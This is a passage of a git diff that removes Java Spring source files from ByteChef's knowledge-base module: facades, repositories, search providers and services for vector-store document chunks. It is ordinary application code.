-        List<String> vectorStoreIds = knowledgeBaseDocumentChunks.stream()
-            .map(KnowledgeBaseDocumentChunk::getVectorStoreId)
-            .filter(vectorStoreId -> vectorStoreId != null)
-            .toList();
-
-        if (!vectorStoreIds.isEmpty()) {
-            vectorStore.delete(vectorStoreIds);
-        }
-
-        for (KnowledgeBaseDocumentChunk chunk : knowledgeBaseDocumentChunks) {
-            FileEntry contentFileEntry = chunk.getContent();
-
-            if (contentFileEntry != null) {
-                knowledgeBaseFileStorage.deleteChunkContent(contentFileEntry);
-            }
-        }
-
-        knowledgeBaseDocumentChunkService.deleteKnowledgeBaseDocumentChunks(knowledgeBaseDocumentChunks);
-
-        knowledgeBaseFileStorage.deleteDocument(knowledgeBaseDocument.getDocument());
-
-        knowledgeBaseDocumentService.delete(id);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseFacadeImpl.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseFacadeImpl.java
deleted file mode 100644
index ae30e5b2bbd..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseFacadeImpl.java
+++ /dev/null
@@ -1,163 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.facade;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import com.bytechef.automation.knowledgebase.file.storage.KnowledgeBaseFileStorage;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentChunkService;
-import com.bytechef.file.storage.domain.FileEntry;
-import com.fasterxml.jackson.core.JsonProcessingException;
-import com.fasterxml.jackson.core.type.TypeReference;
-import com.fasterxml.jackson.databind.ObjectMapper;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import java.util.Map;
-import org.springframework.ai.document.Document;
-import org.springframework.ai.vectorstore.SearchRequest;
-import org.springframework.ai.vectorstore.VectorStore;
-import org.springframework.ai.vectorstore.filter.Filter;
-import org.springframework.ai.vectorstore.filter.FilterExpressionBuilder;
-import org.springframework.beans.factory.annotation.Qualifier;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.stereotype.Service;
-import org.springframework.transaction.annotation.Transactional;
-
-/**
- * @author Ivica Cardic
- */
-@Service
-@Transactional
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-class KnowledgeBaseFacadeImpl implements KnowledgeBaseFacade {
-
-    private static final String METADATA_KNOWLEDGE_BASE_ID = "knowledge_base_id";
-
-    private final KnowledgeBaseDocumentChunkService knowledgeBaseDocumentChunkService;
-    private final KnowledgeBaseFileStorage knowledgeBaseFileStorage;
-    private final ObjectMapper objectMapper;
-    private final VectorStore vectorStore;
-
-    @SuppressFBWarnings("EI")
-    KnowledgeBaseFacadeImpl(
-        KnowledgeBaseDocumentChunkService knowledgeBaseDocumentChunkService,
-        KnowledgeBaseFileStorage knowledgeBaseFileStorage, ObjectMapper objectMapper,
-        @Qualifier("knowledgeBasePgVectorStore") VectorStore vectorStore) {
-
-        this.knowledgeBaseDocumentChunkService = knowledgeBaseDocumentChunkService;
-        this.knowledgeBaseFileStorage = knowledgeBaseFileStorage;
-        this.objectMapper = objectMapper;
-        this.vectorStore = vectorStore;
-    }
-
-    @Override
-    @Transactional(readOnly = true)
-    public List<KnowledgeBaseDocumentChunk> searchKnowledgeBase(
-        Long knowledgeBaseId, String query, String metadataFilters) {
-
-        Filter.Expression filterExpression = buildFilterExpression(knowledgeBaseId, metadataFilters);
-
-        SearchRequest searchRequest = SearchRequest.builder()
-            .query(query)
-            .topK(10)
-            .filterExpression(filterExpression)
-            .build();
-
-        List<Document> documents = vectorStore.similaritySearch(searchRequest);
-
-        return documents.stream()
-            .map(this::toKnowledgeBaseDocumentChunk)
-            .filter(chunk -> chunk.getId() != null)
-            .toList();
-    }
-
-    private Filter.Expression buildFilterExpression(Long knowledgeBaseId, String metadataFilters) {
-        FilterExpressionBuilder builder = new FilterExpressionBuilder();
-
-        FilterExpressionBuilder.Op knowledgeBaseFilter = builder.eq(METADATA_KNOWLEDGE_BASE_ID, knowledgeBaseId);
-
-        if (metadataFilters == null || metadataFilters.isBlank()) {
-            return knowledgeBaseFilter.build();
-        }
-
-        try {
-            Map<String, Object> filters = objectMapper.readValue(
-                metadataFilters, new TypeReference<>() {});
-
-            if (filters.isEmpty()) {
-                return knowledgeBaseFilter.build();
-            }
-
-            FilterExpressionBuilder.Op combinedFilter = knowledgeBaseFilter;
-
-            for (Map.Entry<String, Object> entry : filters.entrySet()) {
-                combinedFilter = builder.and(combinedFilter, builder.eq(entry.getKey(), entry.getValue()));
-            }
-
-            return combinedFilter.build();
-        } catch (JsonProcessingException exception) {
-            throw new IllegalArgumentException(
-                "Invalid metadata filters JSON: " + metadataFilters, exception);
-        }
-    }
-
-    private KnowledgeBaseDocumentChunk toKnowledgeBaseDocumentChunk(Document document) {
-        KnowledgeBaseDocumentChunk chunk;
-
-        Map<String, Object> metadata = document.getMetadata();
-
-        Number chunkIdNumber = (Number) metadata.get("knowledge_base_document_chunk_id");
-
-        Long chunkId = chunkIdNumber != null ? chunkIdNumber.longValue() : null;
-
-        if (chunkId != null) {
-            chunk = knowledgeBaseDocumentChunkService.getKnowledgeBaseDocumentChunk(chunkId);
-        } else {
-            // Fallback: look up by vector store ID for documents indexed before chunk ID was added to metadata
-            chunk = knowledgeBaseDocumentChunkService.getKnowledgeBaseDocumentChunkByVectorStoreId(document.getId())
-                .orElse(null);
-        }
-
-        if (chunk != null) {
-            FileEntry contentFileEntry = chunk.getContent();
-
-            if (contentFileEntry != null) {
-                String textContent = knowledgeBaseFileStorage.readChunkContent(contentFileEntry);
-
-                chunk.setTextContent(textContent);
-            }
-        } else {
-            chunk = new KnowledgeBaseDocumentChunk();
-
-            Number documentIdNumber = (Number) metadata.get("knowledge_base_document_id");
-
-            Long documentId = documentIdNumber != null ? documentIdNumber.longValue() : null;
-
-            chunk.setKnowledgeBaseDocumentId(documentId);
-            chunk.setTextContent(document.getText());
-        }
-
-        chunk.setMetadata(metadata);
-
-        Double score = document.getScore();
-
-        if (score != null) {
-            chunk.setScore(score.floatValue());
-        }
-
-        return chunk;
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/facade/WorkspaceKnowledgeBaseFacadeImpl.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/facade/WorkspaceKnowledgeBaseFacadeImpl.java
deleted file mode 100644
index aabaa023150..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/facade/WorkspaceKnowledgeBaseFacadeImpl.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.facade;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBase;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.domain.WorkspaceKnowledgeBase;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentService;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseService;
-import com.bytechef.automation.knowledgebase.service.WorkspaceKnowledgeBaseService;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.stereotype.Service;
-import org.springframework.transaction.annotation.Transactional;
-
-/**
- * Implementation of the {@link WorkspaceKnowledgeBaseFacade} interface that handles workspace knowledge base
- * operations.
- *
- * @author Ivica Cardic
- */
-@Service
-@Transactional
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-public class WorkspaceKnowledgeBaseFacadeImpl implements WorkspaceKnowledgeBaseFacade {
-
-    private final KnowledgeBaseDocumentFacade knowledgeBaseDocumentFacade;
-    private final KnowledgeBaseDocumentService knowledgeBaseDocumentService;
-    private final KnowledgeBaseService knowledgeBaseService;
-    private final WorkspaceKnowledgeBaseService workspaceKnowledgeBaseService;
-
-    @SuppressFBWarnings("EI")
-    public WorkspaceKnowledgeBaseFacadeImpl(
-        KnowledgeBaseDocumentFacade knowledgeBaseDocumentFacade,
-        KnowledgeBaseDocumentService knowledgeBaseDocumentService, KnowledgeBaseService knowledgeBaseService,
-        WorkspaceKnowledgeBaseService workspaceKnowledgeBaseService) {
-
-        this.knowledgeBaseDocumentFacade = knowledgeBaseDocumentFacade;
-        this.knowledgeBaseDocumentService = knowledgeBaseDocumentService;
-        this.knowledgeBaseService = knowledgeBaseService;
-        this.workspaceKnowledgeBaseService = workspaceKnowledgeBaseService;
-    }
-
-    @Override
-    @Transactional(readOnly = true)
-    public List<KnowledgeBase> getWorkspaceKnowledgeBases(Long workspaceId) {
-        List<WorkspaceKnowledgeBase> workspaceKnowledgeBases =
-            workspaceKnowledgeBaseService.getWorkspaceKnowledgeBases(workspaceId);
-
-        return workspaceKnowledgeBases.stream()
-            .map(workspaceKnowledgeBase -> knowledgeBaseService.getKnowledgeBase(
-                workspaceKnowledgeBase.getKnowledgeBaseId()))
-            .toList();
-    }
-
-    @Override
-    public KnowledgeBase createWorkspaceKnowledgeBase(KnowledgeBase knowledgeBase, Long workspaceId) {
-        KnowledgeBase createdKnowledgeBase = knowledgeBaseService.createKnowledgeBase(knowledgeBase);
-
-        workspaceKnowledgeBaseService.assignKnowledgeBaseToWorkspace(createdKnowledgeBase.getId(), workspaceId);
-
-        return createdKnowledgeBase;
-    }
-
-    @Override
-    public void deleteWorkspaceKnowledgeBase(Long knowledgeBaseId) {
-        List<KnowledgeBaseDocument> documents = knowledgeBaseDocumentService.getKnowledgeBaseDocuments(knowledgeBaseId);
-
-        for (KnowledgeBaseDocument document : documents) {
-            knowledgeBaseDocumentFacade.deleteKnowledgeBaseDocument(document.getId());
-        }
-
-        workspaceKnowledgeBaseService.removeKnowledgeBaseFromWorkspace(knowledgeBaseId);
-
-        knowledgeBaseService.deleteKnowledgeBase(knowledgeBaseId);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/repository/KnowledgeBaseDocumentChunkRepository.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/repository/KnowledgeBaseDocumentChunkRepository.java
deleted file mode 100644
index 071418fa7f4..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/repository/KnowledgeBaseDocumentChunkRepository.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.repository;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import java.util.List;
-import java.util.Optional;
-import org.springframework.data.repository.ListCrudRepository;
-import org.springframework.data.repository.PagingAndSortingRepository;
-import org.springframework.stereotype.Repository;
-
-@Repository
-public interface KnowledgeBaseDocumentChunkRepository extends
-    PagingAndSortingRepository<KnowledgeBaseDocumentChunk, Long>, ListCrudRepository<KnowledgeBaseDocumentChunk, Long> {
-
-    List<KnowledgeBaseDocumentChunk> findAllByKnowledgeBaseDocumentId(Long knowledgeBaseDocumentId);
-
-    Optional<KnowledgeBaseDocumentChunk> findByVectorStoreId(String vectorStoreId);
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/repository/KnowledgeBaseDocumentRepository.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/repository/KnowledgeBaseDocumentRepository.java
deleted file mode 100644
index 7de3a9db321..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/repository/KnowledgeBaseDocumentRepository.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.repository;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import java.util.List;
-import org.springframework.data.repository.ListCrudRepository;
-import org.springframework.data.repository.PagingAndSortingRepository;
-import org.springframework.stereotype.Repository;
-
-@Repository
-public interface KnowledgeBaseDocumentRepository
-    extends PagingAndSortingRepository<KnowledgeBaseDocument, Long>, ListCrudRepository<KnowledgeBaseDocument, Long> {
-
-    List<KnowledgeBaseDocument> findAllByKnowledgeBaseId(Long knowledgeBaseId);
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/repository/KnowledgeBaseRepository.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/repository/KnowledgeBaseRepository.java
deleted file mode 100644
index ee02fc157c0..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/repository/KnowledgeBaseRepository.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.repository;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBase;
-import org.springframework.data.repository.ListCrudRepository;
-import org.springframework.data.repository.PagingAndSortingRepository;
-import org.springframework.stereotype.Repository;
-
-@Repository
-public interface KnowledgeBaseRepository
-    extends PagingAndSortingRepository<KnowledgeBase, Long>, ListCrudRepository<KnowledgeBase, Long> {
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/search/KnowledgeBaseDocumentSearchAssetProvider.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/search/KnowledgeBaseDocumentSearchAssetProvider.java
deleted file mode 100644
index fcee09c8a98..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/search/KnowledgeBaseDocumentSearchAssetProvider.java
+++ /dev/null
@@ -1,89 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.search;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBase;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentService;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseService;
-import com.bytechef.automation.search.SearchAssetProvider;
-import com.bytechef.automation.search.SearchAssetType;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Locale;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.stereotype.Component;
-
-/**
- * @author Ivica Cardic
- */
-@Component
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-class KnowledgeBaseDocumentSearchAssetProvider implements SearchAssetProvider {
-
-    private final KnowledgeBaseDocumentService knowledgeBaseDocumentService;
-    private final KnowledgeBaseService knowledgeBaseService;
-
-    KnowledgeBaseDocumentSearchAssetProvider(
-        KnowledgeBaseDocumentService knowledgeBaseDocumentService, KnowledgeBaseService knowledgeBaseService) {
-
-        this.knowledgeBaseDocumentService = knowledgeBaseDocumentService;
-        this.knowledgeBaseService = knowledgeBaseService;
-    }
-
-    @Override
-    public List<KnowledgeBaseDocumentSearchResult> search(String query, int limit) {
-        String queryLower = query.toLowerCase(Locale.ROOT);
-
-        List<KnowledgeBase> knowledgeBases = knowledgeBaseService.getKnowledgeBases();
-
-        List<KnowledgeBaseDocumentSearchResult> results = new ArrayList<>();
-
-        for (KnowledgeBase knowledgeBase : knowledgeBases) {
-            List<KnowledgeBaseDocument> documents =
-                knowledgeBaseDocumentService.getKnowledgeBaseDocuments(knowledgeBase.getId());
-
-            for (KnowledgeBaseDocument document : documents) {
-                if (containsIgnoreCase(document.getName(), queryLower)) {
-                    results.add(
-                        new KnowledgeBaseDocumentSearchResult(
-                            document.getId(), knowledgeBase.getId(), document.getName()));
-
-                    if (results.size() >= limit) {
-                        return results;
-                    }
-                }
-            }
-        }
-
-        return results;
-    }
-
-    @Override
-    public SearchAssetType getAssetType() {
-        return SearchAssetType.KNOWLEDGE_BASE_DOCUMENT;
-    }
-
-    private boolean containsIgnoreCase(String text, String query) {
-        if (text == null) {
-            return false;
-        }
-
-        return text.toLowerCase(Locale.ROOT)
-            .contains(query);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/search/KnowledgeBaseDocumentSearchResult.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/search/KnowledgeBaseDocumentSearchResult.java
deleted file mode 100644
index c774bc22b77..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/search/KnowledgeBaseDocumentSearchResult.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.search;
-
-import com.bytechef.automation.search.SearchAssetType;
-import com.bytechef.automation.search.SearchResult;
-
-/**
- * @author Ivica Cardic
- */
-public record KnowledgeBaseDocumentSearchResult(Long id, long knowledgeBaseId, String name)
-    implements SearchResult<Long> {
-
-    @Override
-    public String description() {
-        return null;
-    }
-
-    @Override
-    public SearchAssetType type() {
-        return SearchAssetType.KNOWLEDGE_BASE_DOCUMENT;
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/search/KnowledgeBaseSearchAssetProvider.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/search/KnowledgeBaseSearchAssetProvider.java
deleted file mode 100644
index 0acde6df757..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/search/KnowledgeBaseSearchAssetProvider.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.search;
-
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseService;
-import com.bytechef.automation.search.SearchAssetProvider;
-import com.bytechef.automation.search.SearchAssetType;
-import java.util.List;
-import java.util.Locale;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.stereotype.Component;
-
-/**
- * @author Ivica Cardic
- */
-@Component
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-class KnowledgeBaseSearchAssetProvider implements SearchAssetProvider {
-
-    private final KnowledgeBaseService knowledgeBaseService;
-
-    KnowledgeBaseSearchAssetProvider(KnowledgeBaseService knowledgeBaseService) {
-        this.knowledgeBaseService = knowledgeBaseService;
-    }
-
-    @Override
-    public List<KnowledgeBaseSearchResult> search(String query, int limit) {
-        String queryLower = query.toLowerCase(Locale.ROOT);
-
-        return knowledgeBaseService.getKnowledgeBases()
-            .stream()
-            .filter(
-                knowledgeBase -> containsIgnoreCase(knowledgeBase.getName(), queryLower) ||
-                    containsIgnoreCase(knowledgeBase.getDescription(), queryLower))
-            .limit(limit)
-            .map(
-                knowledgeBase -> new KnowledgeBaseSearchResult(
-                    knowledgeBase.getId(), knowledgeBase.getName(), knowledgeBase.getDescription()))
-            .toList();
-    }
-
-    @Override
-    public SearchAssetType getAssetType() {
-        return SearchAssetType.KNOWLEDGE_BASE;
-    }
-
-    private boolean containsIgnoreCase(String text, String query) {
-        if (text == null) {
-            return false;
-        }
-
-        return text.toLowerCase(Locale.ROOT)
-            .contains(query);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/search/KnowledgeBaseSearchResult.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/search/KnowledgeBaseSearchResult.java
deleted file mode 100644
index 6bc92be2541..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/search/KnowledgeBaseSearchResult.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.search;
-
-import com.bytechef.automation.search.SearchAssetType;
-import com.bytechef.automation.search.SearchResult;
-
-/**
- * @author Ivica Cardic
- */
-public record KnowledgeBaseSearchResult(Long id, String name, String description)
-    implements SearchResult<Long> {
-
-    @Override
-    public SearchAssetType type() {
-        return SearchAssetType.KNOWLEDGE_BASE;
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentChunkServiceImpl.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentChunkServiceImpl.java
deleted file mode 100644
index 57d26a7cee0..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentChunkServiceImpl.java
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.service;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseDocumentChunkRepository;
-import java.util.List;
-import java.util.Optional;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.stereotype.Service;
-import org.springframework.transaction.annotation.Transactional;
-
-/**
- * @author Ivica Cardic
- */
-@Service
-@Transactional
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-public class KnowledgeBaseDocumentChunkServiceImpl implements KnowledgeBaseDocumentChunkService {
-
-    private final KnowledgeBaseDocumentChunkRepository knowledgeBaseDocumentChunkRepository;
-
-    public KnowledgeBaseDocumentChunkServiceImpl(
-        KnowledgeBaseDocumentChunkRepository knowledgeBaseDocumentChunkRepository) {
-
-        this.knowledgeBaseDocumentChunkRepository = knowledgeBaseDocumentChunkRepository;
-    }
-
-    @Override
-    @Transactional(readOnly = true)
-    public KnowledgeBaseDocumentChunk getKnowledgeBaseDocumentChunk(Long id) {
-        return knowledgeBaseDocumentChunkRepository.findById(id)
-            .orElseThrow(() -> new RuntimeException("KnowledgeBase document chunk not found: " + id));
-    }
-
-    @Override
-    @Transactional(readOnly = true)
-    public Optional<KnowledgeBaseDocumentChunk> getKnowledgeBaseDocumentChunkByVectorStoreId(String vectorStoreId) {
-        return knowledgeBaseDocumentChunkRepository.findByVectorStoreId(vectorStoreId);
-    }
-
-    @Override
-    @Transactional(readOnly = true)
-    public List<KnowledgeBaseDocumentChunk> getKnowledgeBaseDocumentChunks(List<Long> ids) {
-        return knowledgeBaseDocumentChunkRepository.findAllById(ids);
-    }
-
-    @Override
-    @Transactional(readOnly = true)
-    public List<KnowledgeBaseDocumentChunk> getKnowledgeBaseDocumentChunksByDocumentId(Long documentId) {
-        return knowledgeBaseDocumentChunkRepository.findAllByKnowledgeBaseDocumentId(documentId);
-    }
-
-    @Override
-    public KnowledgeBaseDocumentChunk saveKnowledgeBaseDocumentChunk(
-        KnowledgeBaseDocumentChunk knowledgeBaseDocumentChunk) {
-
-        return knowledgeBaseDocumentChunkRepository.save(knowledgeBaseDocumentChunk);
-    }
-
-    @Override
-    public List<KnowledgeBaseDocumentChunk> saveKnowledgeBaseDocumentChunks(
-        List<KnowledgeBaseDocumentChunk> knowledgeBaseDocumentChunks) {
-
-        return knowledgeBaseDocumentChunkRepository.saveAll(knowledgeBaseDocumentChunks);
-    }
-
-    @Override
-    public void deleteKnowledgeBaseDocumentChunk(Long id) {
-        knowledgeBaseDocumentChunkRepository.deleteById(id);
-    }
-
-    @Override
-    public void deleteKnowledgeBaseDocumentChunks(List<KnowledgeBaseDocumentChunk> knowledgeBaseDocumentChunks) {
-        knowledgeBaseDocumentChunkRepository.deleteAll(knowledgeBaseDocumentChunks);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentServiceImpl.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentServiceImpl.java
deleted file mode 100644
index 51a7c113152..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/main/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentServiceImpl.java
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
